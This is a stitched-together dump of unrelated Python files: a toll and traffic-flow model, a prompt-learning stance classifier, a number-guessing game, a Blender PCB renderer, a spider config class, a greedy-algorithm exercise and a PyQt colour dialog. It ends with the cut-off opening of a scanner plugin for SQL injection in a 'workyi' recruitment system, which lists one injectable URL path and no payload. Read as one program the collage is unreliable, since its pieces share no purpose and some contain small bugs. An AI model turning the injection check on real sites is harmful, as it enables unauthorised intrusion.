import numpy as np
import pandas as pd
from plot_curves import plot_io_curves

MINS_PER_DAY = 1440

def get_congestion_links_input_curve_from_demand(num_zones, od_demand_funcs,min_intervals):
    congestion_links_input_curve = pd.DataFrame(index=np.arange(0, MINS_PER_DAY,min_intervals))
    for i in range(num_zones):
        cum_arrivals = 0
        cum_arrival_curve = []
        for t in range(0, MINS_PER_DAY, min_intervals):
            cum_arrivals += sum([od_demand_funcs[i*num_zones+j](t) * min_intervals for j in range(num_zones)])
            cum_arrival_curve.append(cum_arrivals)
        congestion_links_input_curve[i] = pd.Series(cum_arrival_curve, index=np.arange(0, MINS_PER_DAY,min_intervals))
    return congestion_links_input_curve

def get_congestion_links_input_curve_after_toll(congestion_links_input_curve_from_demand, toll_curves,
                                                value_of_time_early, value_of_time_late, num_zones, min_intervals,
                                                plot_cum_input_curves_toll,file_directory):
    congestion_links_input_curve_after_toll = pd.DataFrame(index=np.arange(0, MINS_PER_DAY, min_intervals))
    for i in range(num_zones - 1):
        cum_arrival_curve_from_toll = congestion_links_input_curve_from_demand[i].copy()
        cum_arrival_curve_from_demand = congestion_links_input_curve_from_demand[i].copy()
        toll_curve_values = [toll_curves[i](j) for j in np.arange(0, MINS_PER_DAY, min_intervals)]
        stationary_point_index = np.argmax(toll_curve_values)
        max_toll = np.max(toll_curve_values)
        toll_span = np.count_nonzero(np.diff(toll_curve_values))
        demand_span = np.count_nonzero(np.diff(cum_arrival_curve_from_demand))
        shift_ratio = (toll_span - demand_span)/float(demand_span) if (toll_span - demand_span)/float(demand_span) > 0 else 1
        past_index = 0
        for j in range(0,stationary_point_index):
            earlyness = shift_ratio*float(max_toll/value_of_time_late[i] - toll_curve_values[j]/value_of_time_early[i])
            new_index = max(j - int(earlyness / min_intervals), 0)
            cum_arrival_curve_from_toll.iloc[new_index] = cum_arrival_curve_from_demand.iloc[j]
            # Interpolate values in between
            for k in range(min(past_index + 1,new_index), new_index):
                slope = (cum_arrival_curve_from_toll.iloc[new_index] - cum_arrival_curve_from_toll.iloc[past_index]) / (
                new_index - past_index)
                cum_arrival_curve_from_toll.iloc[k] = cum_arrival_curve_from_toll.iloc[past_index] + slope * (
                k - past_index)
            past_index = new_index
        for j in range(stationary_point_index,MINS_PER_DAY/min_intervals):
            delay = shift_ratio*float(max_toll/value_of_time_late[i] - toll_curve_values[j]/value_of_time_late[i])
            new_index = min(j + int(delay/min_intervals),MINS_PER_DAY/min_intervals - 1)
            cum_arrival_curve_from_toll.iloc[new_index] = cum_arrival_curve_from_demand.iloc[j]
            # Interpolate values in between
            for k in range(past_index + 1,new_index):
                slope = (cum_arrival_curve_from_toll.iloc[new_index] - cum_arrival_curve_from_toll.iloc[past_index])/(new_index - past_index)
                cum_arrival_curve_from_toll.iloc[k] = cum_arrival_curve_from_toll.iloc[past_index] + slope * (k - past_index)
            past_index = new_index
        congestion_links_input_curve_after_toll[i] = pd.Series(cum_arrival_curve_from_toll, index=np.arange(0, MINS_PER_DAY,min_intervals))
        if plot_cum_input_curves_toll:
            plot_io_curves([(congestion_links_input_curve_from_demand[i], congestion_links_input_curve_after_toll[i])],
                           file_directory+'/sample_plots/input_curve_toll_zone_'+str(i)+'.png',min_intervals,toll_curve_values, True)
    return congestion_links_input_curve_after_toll

def get_total_toll_collected(link_demands,toll_curves, num_zones, min_intervals):
    total_toll_collected = np.zeros(num_zones)
    for i in range(num_zones - 1):
        toll_curve_values = [toll_curves[i](j) for j in np.arange(0, MINS_PER_DAY, min_intervals)]
        total_toll_collected[i] = sum(i * j for (i, j) in zip(link_demands[i], toll_curve_values))
    return total_toll_collected

def get_freeway_links_input_curve_after_diverging(congestion_links_output_curve, num_zones,min_intervals, num_bins):
    freeway_links_input_curve = pd.DataFrame()
    for i in range(num_zones):
        for j in range(num_zones):
            if j == num_zones - 1 and j != i:
                freeway_links_input_curve[i * num_zones + j] = congestion_links_output_curve[i].copy()
            else:
                freeway_links_input_curve[i * num_zones + j] = pd.Series(np.zeros(num_bins),
                                                                index=np.arange(0, MINS_PER_DAY, min_intervals))
    return freeway_links_input_curve

def get_congestion_links_input_curve_after_merging(freeway_links_output_curve, num_zones,min_intervals):
    congestion_links_input_curve = pd.DataFrame(index=np.arange(0, MINS_PER_DAY, min_intervals))
    for j in range(num_zones):
        for i in range(num_zones):
            if j in congestion_links_input_curve:
                congestion_links_input_curve[j] = congestion_links_input_curve[j].values + \
                                                freeway_links_output_curve[i * num_zones + j].copy().values
            else:
                congestion_links_input_curve[j] = freeway_links_output_curve[i * num_zones + j].values
    return congestion_links_input_curve

def get_links_output_curve(links_input_curve, links_capacity, links_fftt,min_intervals, num_bins):
    links_output_curve = pd.DataFrame(index=np.arange(0, MINS_PER_DAY, min_intervals))
    i = 0
    for column in links_input_curve:
        cum_arrival_curve = links_input_curve[column]
        capacity = links_capacity[i]
        fftt = links_fftt[i]
        cum_departure_curve = cum_arrival_curve.copy()
        for j in range(num_bins):
            if cum_arrival_curve.iloc[j] > cum_departure_curve.iloc[j-1] + capacity * min_intervals:
                cum_departure_curve.iloc[j] = cum_departure_curve.iloc[j - 1] + capacity * min_intervals
        cum_departure_curve = cum_departure_curve.shift(int(fftt / min_intervals)).fillna(0)
        links_output_curve[column] = cum_departure_curve.values
        i += 1
    return links_output_curve


# 加topic_words
import os
from responses import target
import torch
import tqdm
import json
from openprompt.plms import load_plm
from openprompt import PromptForClassification
from openprompt.prompts import ManualTemplate
from openprompt.prompts import ManualVerbalizer
from openprompt import PromptDataLoader
from openprompt.data_utils import InputExample

from utils import timer, parameter_parser, cal_f1, get_topic_words, get_label_words, get_prompt_template

DATASET_PATH = "/extend/bishe/0-dataset"
if not os.path.exists("pkl"):
    os.mkdir("pkl")
G = get_topic_words()

class Trainer:
    def __init__(self, opt) -> None:
        self.opt = opt

    # 获取数据集、定义任务
    def define_task(self):
        """
        根据你的任务和数据来定义InputExample。

        手动设计模板，模板放在ManualTemplate里面
        例如text = '{"placeholder":"texta"} It was {"mask"}',
        其中text_a就是InputExample里面的输入text_a，It was {"mask"} 就是prompt。
        """
        d = {"AGAINST": 0, "NONE": 1, "FAVOR": 2, '-1': 0, '0': 1, '1': 2}
        import csv
        self.dataset = {}
        for split in ["train", "test"]:  # ["train", "validation", "test"]:
            self.dataset[split] = []
            with open(f"{DATASET_PATH}/{self.opt.dataset}/{self.opt.target}_{split}.csv", 'r', encoding='utf-8') as f:
                reader = csv.DictReader(f)
                for line in tqdm.tqdm(reader):
                    _input_example = InputExample(guid=line["ID"],
                                                  text_a=G.main(line["Tweet"].lower(), self.opt),
                                                  text_b=line["Target"],
                                                  label=d[line["Stance"]])
                    self.dataset[split].append(_input_example)
            print(G.yes, G.no)

        self.label_words = get_label_words(self.opt.label_words_id)
        self.promptTemplate = get_prompt_template(tokenizer=self.tokenizer, tid=self.opt.template_id)
        print(self.label_words)
        print(self.promptTemplate)

    # 定义预训练语言模型
    def load_plm(self, reload=False):
        """
        根据具体任务选择合适的预训练语言模型，这里采用的预训练模型是bert，
        因为根据prompt的设计，是想让模型输出[mask]位置的词语，属于填空问题。
        """
        import os
        import pickle
        plm_name = "bert-base-uncased"
        if not reload and os.path.exists(f"pkl/{plm_name}.pkl"):
            # 这里是为了省去加载预训练模型的时间
            self.plm, self.tokenizer, self.model_config, self.WrapperClass = pickle.load(
                open(f"pkl/{plm_name}.pkl", 'rb'))
        else:
            self.plm, self.tokenizer, self.model_config, self.WrapperClass = load_plm(
                "bert", plm_name)
            pickle.dump((self.plm, self.tokenizer, self.model_config, self.WrapperClass),
                        open(f"pkl/{plm_name}.pkl", 'wb'))
        print("分词器大小", self.tokenizer.vocab_size)

    # 打包

    def wrap(self):
        from openprompt.plms import MLMTokenizerWrapper
        self.wrapped_tokenizer = MLMTokenizerWrapper(max_seq_length=self.opt.max_seq_length,
                                                     decoder_max_length=3,
                                                     tokenizer=self.tokenizer,
                                                     truncate_method="head")

        # You can see what a tokenized example looks like by
        wrapped_example = self.promptTemplate.wrap_one_example(
            self.dataset['train'][0])
        print("wrapped_example:", wrapped_example)

        tokenized_example = self.wrapped_tokenizer.tokenize_one_example(
            wrapped_example, teacher_forcing=False)
        print("tokenized_example:", tokenized_example)
        print("input_ids convert to tokens:",
              self.tokenizer.convert_ids_to_tokens(tokenized_example['input_ids']))

    # 获取模型输入
    def get_model_inputs(self):
        model_inputs = {}
        for split in ["train", "test"]:  # ['train', 'validation', 'test']:
            model_inputs[split] = []
            for sample in self.dataset[split]:
                tokenized_example = self.wrapped_tokenizer.tokenize_one_example(
                    self.promptTemplate.wrap_one_example(sample), teacher_forcing=False)
                model_inputs[split].append(tokenized_example)

    # 获取dataloader
    def get_dataloader(self):
        self.train_dataloader = PromptDataLoader(dataset=self.dataset["train"],
                                                 template=self.promptTemplate,
                                                 tokenizer=self.tokenizer,
                                                 tokenizer_wrapper_class=self.WrapperClass,
                                                 max_seq_length=self.opt.max_seq_length,
                                                 decoder_max_length=3,
                                                 batch_size=self.opt.batch_size,
                                                 shuffle=True,
                                                 teacher_forcing=False,
                                                 predict_eos_token=False,
                                                 truncate_method="head")
        self.test_dataloader = PromptDataLoader(dataset=self.dataset["test"],
                                                template=self.promptTemplate,
                                                tokenizer=self.tokenizer,
                                                tokenizer_wrapper_class=self.WrapperClass,
                                                max_seq_length=self.opt.max_seq_length,
                                                decoder_max_length=3,
                                                batch_size=self.opt.batch_size,
                                                shuffle=False,
                                                teacher_forcing=False,
                                                predict_eos_token=False,
                                                truncate_method="head")

    # 定义Verbalizer
    def define_Verbalizer(self):
        """
        在情感分类里面，[Mask]位置的输出是一个单词，我们要把这些单词映射成"positive","negative"标签，
        这个过程称为"Verbalizer"，比如"bad"属于"negative"， "good", "wonderful", "great"属于"positive"。
        """
        self.promptVerbalizer = ManualVerbalizer(num_classes=3,
                                                 label_words=self.label_words,
                                                 tokenizer=self.tokenizer,
                                                 )
        print("label_words_ids:", self.promptVerbalizer.label_words_ids)
        # creating a pseudo output from the plm, and
        # logits = torch.randn(2, len(self.tokenizer))
        # print(self.promptVerbalizer.process_logits(
        #     logits))  # see what the verbalizer do

    # 组合构建为PromptModel类
    def get_PromptModel(self):
        """
        将前面几步构建的模板(promptTemplate)、预训练模型(plm)、输出映射(promptVerbalizer)组成promptModel
        """
        self.prompt_model = PromptForClassification(plm=self.plm,
                                                    template=self.promptTemplate,
                                                    verbalizer=self.promptVerbalizer,
                                                    freeze_plm=False).to(self.opt.device)

    # 开始训练、测试
    @ timer
    def train(self):
        # Now the training is standard
        from transformers import AdamW, get_linear_schedule_with_warmup
        loss_func = torch.nn.CrossEntropyLoss()
        no_decay = ['bias', 'LayerNorm.weight']
        # it's always good practice to set no decay to biase and LayerNorm parameters
        optimizer_grouped_parameters = [
            {'params': [p for n, p in self.prompt_model.named_parameters() if not any(
                nd in n for nd in no_decay)], 'weight_decay': 0.01},
            {'params': [p for n, p in self.prompt_model.named_parameters() if any(
                nd in n for nd in no_decay)], 'weight_decay': 0.0}
        ]

        optimizer = AdamW(optimizer_grouped_parameters,
                          lr=self.opt.learning_rate)

        for epoch in range(self.opt.max_epoch):
            tot_loss = 0
            for step, inputs in enumerate(self.train_dataloader):
                inputs = inputs.to(self.opt.device)
                labels = inputs['label']

                # 下面两行等价于 logits = self.prompt_model(inputs)，为了打印outputs_at_mask拆成了两行
                outputs_at_mask = self.prompt_model.forward_without_verbalize(inputs)
                logits = self.prompt_model.verbalizer.process_outputs(outputs_at_mask, inputs)

                # 下面四行是输出一个batch的[MASK]word和label
                # outputs_words_id = outputs_at_mask.argmax(-1)
                # output_words = list(self.tokenizer.convert_ids_to_tokens(outputs_words_id))
                # for output_word, label in zip(output_words, list(labels)):
                #     print(output_word, int(label))

                loss = loss_func(logits, labels)
                loss.backward()
                tot_loss += loss.item()
                optimizer.step()
                optimizer.zero_grad()
                if step % 100 == 1:
                    print("Epoch {}, average loss: {}".format(
                        epoch, tot_loss/(step+1)), flush=True)
            self.test()

    def test(self):
        allpreds, alllabels = [], []

        for step, inputs in enumerate(self.test_dataloader):
            inputs = inputs.to(self.opt.device)
            logits = self.prompt_model(inputs)
            labels = inputs['label']

            alllabels.extend(labels.cpu().tolist())
            allpreds.extend(torch.argmax(logits, dim=-1).cpu().tolist())

        result = cal_f1(outputs=allpreds, targets=alllabels)
        print(result)
        self.update_result(result)

        # print("allpreds", allpreds)
        # print("alllabels", alllabels)

    def update_result(self, result):
        micro_f, f_avg, f_favor, f_against, f_none = result["micro_f"], result["macro_f"], result["f_favor"], result["f_against"], result["f_none"]

        with open(f"logs/_result.txt", "a+") as file:
            # =====更新最佳结果=====
            best_macro = {"macro_f1": float(f_avg), "micro_f1": float(micro_f),
                            "f_favor": float(f_favor), "f_against": float(f_against), "f_none": float(f_none),
                            "learning_rate": self.opt.learning_rate, "num_epoch": self.opt.max_epoch,
                            "batch_size": self.opt.batch_size, "dropout": self.opt.dropout, "seed": self.opt.seed}
            best_micro = {"micro_f1": float(micro_f), "macro_f1": float(f_avg),
                            "f_favor": float(f_favor), "f_against": float(f_against), "f_none": float(f_none),
                            "learning_rate": self.opt.learning_rate, "num_epoch": self.opt.max_epoch,
                            "batch_size": self.opt.batch_size, "dropout": self.opt.dropout, "seed": self.opt.seed}
            if not os.path.exists('../result.json'):
                with open(f"../result.json", "w") as file:
                    json.dump({}, file)
            with open(f"../result.json", "r") as file:
                _result = json.load(file)

            if self.opt.dataset not in _result:
                _result[self.opt.dataset] = {}
            if self.opt.target not in _result[self.opt.dataset]:
                _result[self.opt.dataset][self.opt.target] = {}
            if model_name not in _result[self.opt.dataset][self.opt.target]:
                _result[self.opt.dataset][self.opt.target][model_name] = {"macro": {"macro_f1": 0}, "micro": {"micro_f1": 0}}
            # 按照macro更新
            if _result[self.opt.dataset][self.opt.target][model_name]["macro"]["macro_f1"] < best_macro["macro_f1"]:
                _result[self.opt.dataset][self.opt.target][model_name]["macro"] = best_macro
            # 按照micro更新
            if _result[self.opt.dataset][self.opt.target][model_name]["micro"]["micro_f1"] < best_micro["micro_f1"]:
                _result[self.opt.dataset][self.opt.target][model_name]["micro"] = best_micro
            with open(f"../result.json", "w") as file:
                json.dump(_result, file, indent=2)

            update = False
            if opt.dataset not in _result:
                _result[opt.dataset] = {}
                update = True
            if opt.target not in _result[opt.dataset]:
                _result[opt.dataset][opt.target] = {}
                update = True
            if model_name not in _result[opt.dataset][opt.target]:
                _result[opt.dataset][opt.target][model_name] = {
                    "macro": {"macro_f1": 0}, "micro": {"micro_f1": 0}}
                update = True
            # 按照macro更新
            if _result[opt.dataset][opt.target][model_name]["macro"]["macro_f1"] < best_macro["macro_f1"]:
                _result[opt.dataset][opt.target][model_name]["macro"] = best_macro
                update = True
            # 按照micro更新
            if _result[opt.dataset][opt.target][model_name]["micro"]["micro_f1"] < best_micro["micro_f1"]:
                _result[opt.dataset][opt.target][model_name]["micro"] = best_micro
                update = True

            if update:
                with open("../result.json", "w") as file:
                    json.dump(_result, file, indent=2)
                print('result updated.')
            # =====更新最佳结果=====end

    def main(self):
        self.load_plm()
        self.define_task()
        self.wrap()
        self.get_model_inputs()
        self.get_dataloader()
        self.define_Verbalizer()
        self.get_PromptModel()
        self.train()
        self.test()

if __name__ == "__main__":
    opt = parameter_parser()
    trainer = Trainer(opt)
    if opt.topic_by == "":
        model_name = "prompt"
    else:
        model_name = f"prompt+topic({opt.topic_by})"
    trainer.main()


"""
Программа загадывает число от 0 до 1000. Необходимо угадать число за 10 попыток.
Программа должна подсказывать «больше» или «меньше» после каждой попытки.
"""

from random import randint

LOWER_LIMIT = 0
UPPER_LIMIT = 1000
ATTEMPTS = 10

num = randint(LOWER_LIMIT, UPPER_LIMIT)
print(f"Угадайте число от {LOWER_LIMIT} до {UPPER_LIMIT}")

for att in range(1, ATTEMPTS + 1):
    attNum = int(input(f"Попытка {att} из {ATTEMPTS}. Введите число: "))
    if attNum == num:
        print(f"\033[33mУра, Вы угадали!\033[0m")
        break

    if attNum > num:
        print(f"\033[31mМеньше, чем {attNum}\033[0m")
    else:
        print(f"\033[31mБольше, чем {attNum}\033[0m")

else:
    print(f"Вам не хватило попыток((. Это было число {num}")


# -*- encoding: utf-8 -*-
from __future__ import annotations

import os
import sys
import time
import logging
import traceback
from typing import Callable

sys.path.append(os.getcwd())
from src.py.template import *
from src.py.model import ModelPackage
from src.py.gparser.gblender import BlenderBackend
from src.py.gparser.gparser import GerberParser
from src.py.blenderio import IO_IN, IO_OUT, BlenderIO
from src.py import Singleton

RENDER_SAMPLES: int = 0
RENDER_ENGINE: str = "EEVEE"

"""commands = {
            "getTemplateParams": self.getTemplateParams,
            "make3DModel": self.make3DModel,
            "exitNow": self.exitNow,
            "Detach": self.Detach,
            "renderGerberLayer": self.renderGerberLayer,
            "joinLayers": self.joinLayers,
            "renderPreview": self.renderPreview,
            "buildAssembler": self.buildAssembler,
            "makeModelAssets": self.makeModelAssets,
        }"""

class Main(Singleton):

    io: BlenderIO
    io_in: IO_IN
    uri: dict = {}

    class DetachException(Exception):
        pass

    def __init__(self) -> None:
        self.io = BlenderIO()
        self.io.begin()

    def mainloop(self):
        while True:
            try:
                self.io_in = self.io.read()
                self.dispatch(self.io_in)
            except Main.DetachException:
                break
            except Exception as e:
                self.io.write(
                    IO_OUT(
                        "ERROR",
                        {
                            "trace": traceback.format_exc(),
                            "cls": e.__class__.__name__,
                        },
                    )
                )

    def dispatch(self, io_in: IO_IN) -> Any:
        self.uri[io_in.status](self, **io_in.data)

    class register:
        def __init__(self, uri: dict) -> None:
            self.uri = uri

        def __call__(self, function: Callable, name: str = None) -> None:
            if name is None:
                name = function.__name__
            self.uri[name] = function
            return self

    register = register(uri)

    @register
    def exitNow(self):
        self.io.write(IO_OUT("OK"))
        time.sleep(0.2)
        exit()

    @register
    def Detach(self):
        raise Main.DetachException()

    @register
    def buildAssembler(self, pcb: str, setup: dict, out: str) -> IO_OUT:
        Global.Import(pcb)
        _bpy_PCB = Global.getActive()
        lift_top = Object.bboxCenter(_bpy_PCB).z + _bpy_PCB.dimensions.z / 2
        for code, setup in setup.items():
            Global.Import(f'{setup["model_pkg"]}./__mod__.glb')
            bpy_obj = Global.getActive()
            bpy_obj.name = code
            Transform.rotateZ(f"{setup['rot']}deg")
            Object.MoveTo(bpy_obj, setup["cox"], setup["coy"], lift_top)
        Global.selectAll()
        Global.Export(out)
        self.io.write(IO_OUT("OK"))

    def _render(
        engine: CONST.ENGINE, samples: int, root: Object, out: str, dpi: int
    ) -> None:
        # prepare to make a render
        width = root.dimensions.x
        height = root.dimensions.y
        center = Object.bboxCenter(root)
        # add light source
        bpy.ops.object.light_add(type="SUN")
        light = Global.getActive()
        Object.RotateTo(light, 0, 0, 0)
        # add camera
        camera = Camera()
        Object.MoveTo(
            camera.camera,
            center.x,
            center.y,
            root.location.z + root.dimensions.z + 1,
        )
        camera.ortho_scale = max(width, height)
        camera.type = "ORTHO"
        camera.setMain()
        if engine == "EEVEE":
            # set eevee as rendering engine
            Global.eevee(samples)
        elif engine == "CYCLES":
            Global.cycles(samples)
        # render image
        w = width * dpi * 40
        h = height * dpi * 40

        if w * h > 1e8:
            raise RuntimeError("Output image is too big, lower your dpi and retry.")
        else:
            if os.path.exists(out):
                os.remove(out)
            Global.render(
                out,
                w,
                h,
            )
        Global.delete(camera.camera)
        Global.delete(light)
        return {
            "bx": center.x - root.dimensions.x / 2,
            "by": center.y - root.dimensions.y / 2,
            "sx": root.dimensions.x,
            "sy": root.dimensions.y,
        }

    """def _photoTop(bpy_obj, out, dpi) -> None:
        bbox = Object.bbox(bpy_obj)
        max_xy = 0
        for co in bbox:
            if abs(co.x) > max_xy:
                max_xy = abs(co.x)
            if abs(co.y) > max_xy:
                max_xy = abs(co.y)
        bpy.ops.object.light_add(type="SUN")
        light = Global.getActive()
        Object.RotateTo(light, 0, 0, 0)
        camera = Camera()
        Object.MoveTo(
            camera.camera,
            bpy_obj.location.x,
            bpy_obj.location.y,
            bpy_obj.location.z + bpy_obj.dimensions.z + 1,
        )
        Object.RotateTo(camera.camera, 0, 0, "180deg")
        camera.ortho_scale = max_xy * 2
        camera.type = "ORTHO"
        camera.setMain()
        if RENDER_ENGINE == "EEVEE":
            # set eevee as rendering engine
            Global.eevee(RENDER_SAMPLES)
        elif RENDER_ENGINE == "CYCLES":
            Global.cycles(RENDER_SAMPLES)
        max_xy = max_xy * dpi * 40 * 2
        if max_xy ** 2 > 1e8:
            raise RuntimeError("Output image is too big, lower your dpi and retry.")
        else:
            if os.path.exists(out):
                os.remove(out)
            Global.render(out, max_xy, max_xy)
        Global.delete(camera.camera)
        Global.delete(light)

    def _photoBot(bpy_obj, out) -> None:
        # get current object dimensions
        x, y, _ = bpy_obj.dimensions
        # scale it up to be 1
        max_dim = max(x, y)
        _s = 1 / max_dim
        Object.ScaleBy(bpy_obj, _s, _s, _s)
        bbox = Object.bbox(bpy_obj)
        max_xy = 0
        for co in bbox:
            if abs(co.x) > max_xy:
                max_xy = abs(co.x)
            if abs(co.y) > max_xy:
                max_xy = abs(co.y)
        bpy.ops.object.light_add(type="SUN")
        light = Global.getActive()
        Object.RotateTo(light, x=0, y="180deg", z=0)
        camera = Camera()
        Object.ScaleBy(camera.camera, z=-1)
        Object.MoveTo(
            camera.camera,
            bpy_obj.location.x,
            bpy_obj.location.y,
            -(bpy_obj.location.z + bpy_obj.dimensions.z + 1),
        )
        camera.ortho_scale = max_xy * 2.2
        camera.type = "ORTHO"
        camera.setMain()
        if RENDER_ENGINE == "EEVEE":
            # set eevee as rendering engine
            Global.eevee(RENDER_SAMPLES)
        elif RENDER_ENGINE == "CYCLES":
            Global.cycles(RENDER_SAMPLES)
        if os.path.exists(out):
            os.remove(out)
        Global.render(out, 512, 512)
        Global.delete(camera.camera)
        Global.delete(light)"""

    @register
    def makeModelAssets(self, template_params: dict, model_path: str) -> IO_OUT:
        Global.deleteAll()
        modelpkg = ModelPackage(model_path)
        modelpkg.make(template_params, self.io.log)
        modelpkg.shot(
            self.io.render_dpi,
            self.io.render_engine,
            self.io.render_samples,
            True,
            modelpkg.top_path,
        )
        modelpkg.shot(
            self.io.render_dpi,
            self.io.render_engine,
            self.io.render_samples,
            False,
            modelpkg.bot_path,
        )
        self.io.write(IO_OUT("OK"))

    @register
    def make3DModel(self, template_pkg_path: str, template_params: dict, save_as: str):
        TemplatePackage(template_pkg_path).execute(template_params)
        Global.Export(save_as)
        self.io.write(IO_OUT("OK"))

class Gerber(Namespace):

    LAYER_TYPES = {
        "COPPER": {
            "dark_thickness": "0.4mm",
            "clear_thickness": "0.2mm",
            "region_thickness": "1mm",
            "dark_material": {
                "color": "rgba(0, 23, 0, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
            "clear_material": {
                "color": "rgba(0, 76, 0, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
            "region_material": {
                "color": "rgba(0, 76, 0, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
        },
        "SILK": {
            "dark_thickness": "0.05mm",
            "clear_thickness": "0.02mm",
            "region_thickness": "0",
            "dark_material": {
                "color": "rgba(255, 255, 255, 255)",
                "roughness": 0.5,
                "specular": 0.5,
                "metallic": 0.5,
            },
            "clear_material": {
                "color": "rgba(255, 255, 255, 255)",
                "roughness": 0.5,
                "specular": 0.5,
                "metallic": 0.5,
            },
            "region_material": {
                "color": "rgba(0, 0, 0, 255)",
                "roughness": 0.5,
                "specular": 0.5,
                "metallic": 0.5,
            },
        },
        "SOLDER_MASK": {
            "dark_thickness": "0.05mm",
            "clear_thickness": "0.02mm",
            "region_thickness": "0",
            "dark_material": {
                "color": "rgba(135, 135, 135, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
            "clear_material": {
                "color": "rgba(135, 135, 135, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
            "region_material": {
                "color": "rgba(135, 135, 135, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
        },
        "PASTE_MASK": {
            "dark_thickness": "0.05mm",
            "clear_thickness": "0.02mm",
            "region_thickness": "0",
            "dark_material": {
                "color": "rgba(105, 105, 105, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
            "clear_material": {
                "color": "rgba(105, 105, 105, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
            "region_material": {
                "color": "rgba(105, 105, 105, 255)",
                "roughness": 1.0,
                "specular": 0,
            },
        },
    }

    @Main.register
    def renderGerberLayer(self, layer: dict, layer_type: dict, layer_id: str):
        if layer["mode"] in Gerber.LAYER_TYPES.keys():
            layer_appearance = Gerber.LAYER_TYPES[layer["mode"]]
        else:
            layer_appearance = layer["data"]
        backend = BlenderBackend(
            layer_appearance["dark_thickness"],
            layer_appearance["clear_thickness"],
            layer_appearance["region_thickness"],
            layer_appearance["dark_material"],
            layer_appearance["clear_material"],
            layer_appearance["region_material"],
        )
        parser = GerberParser(backend)
        parser.feed(layer["path"])
        self.io.write(IO_OUT("STREAM", {"token_count": parser.TOKEN_STACK_SIZE}))
        for progress in parser:
            if progress % 17 == 0:
                self.io.write(IO_OUT("STREAM", {"tokens_done": 17}))
                state_in = self.io.read()
                if state_in.status != "CONTINUE":
                    break
        else:
            Object.join(backend.ROOT, *Global.getAll())
            if layer_type == "BOT":
                Object.ScaleBy(backend.ROOT, z=-1)
                with Edit(backend.ROOT) as edit:
                    edit.makeNormalsConsistent()
            Global.Export(f"./temp/gerber/gerber-{layer_id}.glb")
        self.io.write(IO_OUT("END"))

    @Main.register
    def joinLayers(self, top_layers: list, bot_layers: list):
        desired = 0
        for path in top_layers:
            Global.Import(path)
            bpy_obj = Global.getActive()
            Object.MoveTo(bpy_obj, z=desired)
            desired += bpy_obj.dimensions.z
        desired = 0
        for path in bot_layers:
            Global.Import(path)
            bpy_obj = Global.getActive()
            Object.MoveTo(bpy_obj, z=-desired)
            desired += bpy_obj.dimensions.z
        root = Mesh.Rectangle(0, 0, 0)
        Object.join(root, *Global.getAll())
        Global.Export(f"{os.getcwd()}/temp/gerber/merged.glb")
        self.io.write(IO_OUT("OK"))

    @Main.register
    def renderPreview(self: Main, source: str, render_file: str) -> IO_OUT:
        Global.Import(source)
        root = Global.getActive()
        self.io.write(
            IO_OUT(
                "DONE",
                {
                    "co": Main._render(
                        self.io.render_engine,
                        self.io.render_samples,
                        root,
                        render_file,
                        self.io.render_dpi,
                    )
                },
            )
        )

Main().mainloop()


__all__ = ["Config"]

import os
import time
from configparser import ConfigParser

# @description: 配置模块, ConfigParser只支持字符串的形式的数据, 不支持包含数字在内的其他类型

class Config:
    def __init__(self):
        self._config = ConfigParser()
        self._path = os.path.join(os.getcwd(), os.path.dirname(__file__), 'douban_spider.ini')
        self._config.read(self._path, encoding='UTF-8') if os.path.exists(self._path) else self._initial_create()

    def _initial_create(self):
        # 记录爬虫情况, 累计执行访问的次数
        self._config['crawler'] = {
            "total": "0"
        }
        # 运行记录, 开始的时间, 到最后执行的时间
        self._config['running_state'] = {
            "start_time": str(int(time.time() * 1000)),
            "end_time": "0",
        }
        self._write()

    def _write(self):
        # 写入的数据必须是文本类型, 即数字不能直接写入, 需要转为文本类型
        with open(
                self._path,
                encoding='utf-8',
                mode='w'
        ) as f:
            self._config.write(f)

    def read(self, section: str, key='') -> str or dict:
        return self._config[section][key] if key else dict(self._config.items(section))

    def set(self, section: str, key: str, value: str):
        self._config.set(section, key, value)
        self._write()


n, m, k = map(int, input().split())
arr = list(map(int, input().split()))

"""" my code
def first_num(arr):
	first = 0
	for num in arr:
		if first < num:
			first = num
	return first

def second_num(arr, first):
	second = 0
	for num in arr:
		if second < num and num != first:
			second = num
	return second

first = first_num(arr)
second = second_num(arr, first)
count = 0
sum = 0

for i in range(m):
	if count == k:
		count = 0
		sum += second
	else:
		sum += first
	count += 1

print(sum)
"""

# answer 1
arr.sort() # 입력받은 수를 정렬
first = arr[n - 1] # 가장 큰 수
second = arr[n - 2] # 두 번째로 큰 수

result = 0

while True:
	for i in range(k): # 가장 큰 수를 k번 더하기
		if m == 0: # m 이 0 이라면 탈출
			break
		result += first
		m -= 1 # 더할 때마다 1씩 빼기
	if m == 0: # m 이 0 이라면 반복문 탈출
		break
	result += second # 두 번째로 큰 수를 한 번 더하기
	m -= 1 # 더할 때마다 1씩 빼기

print(result)

# answer 2
arr.sort() # 입력받은 수를 정렬
first = arr[n - 1] # 가장 큰 수
second = arr[n - 2] # 두 번째로 큰 수

# 가장 큰 수가 더해지는 횟수
count = int(n / (k + 1)) * k
count += m % (k + 1)

result = 0
result += (count) * first
result += (m - count) * second


# -*- coding: utf-8 -*-

from PyQt5.QtWidgets import QApplication, QPushButton, QColorDialog , QWidget
from PyQt5.QtCore import Qt
from PyQt5.QtGui import QColor
import sys

class ColorDialog ( QWidget):
	def __init__(self ):
		super().__init__()
		color = QColor(0, 0, 0)
		self.setGeometry(300, 300, 350, 280)
		self.setWindowTitle('颜色选择')
		self.button = QPushButton('Dialog', self)
		self.button.setFocusPolicy(Qt.NoFocus)
		self.button.move(20, 20)
		self.button.clicked.connect(self.showDialog)
		self.setFocus()
		self.widget = QWidget(self)
		self.widget.setStyleSheet('QWidget{background-color:%s} '%color.name())
		self.widget.setGeometry(130, 22, 100, 100)

	def showDialog(self):
		col = QColorDialog.getColor()
		if col.isValid():
			self.widget.setStyleSheet('QWidget {background-color:%s}'%col.name())

if __name__ == "__main__":
	app = QApplication(sys.argv)
	qb = ColorDialog()
	qb.show()
	sys.exit(app.exec_())


#!/usr/bin/evn python
#--coding:utf-8--*--
#Name:workyi人才系统两处注入
#Refer:http://www.wooyun.org/bugs/wooyun-2010-0115124
#Author:xq17

def assign(service, arg):
    if service == "workyi_system":
        return True, arg

def audit(arg):
    urls = [
    "persondh/parttime.aspx?key=",
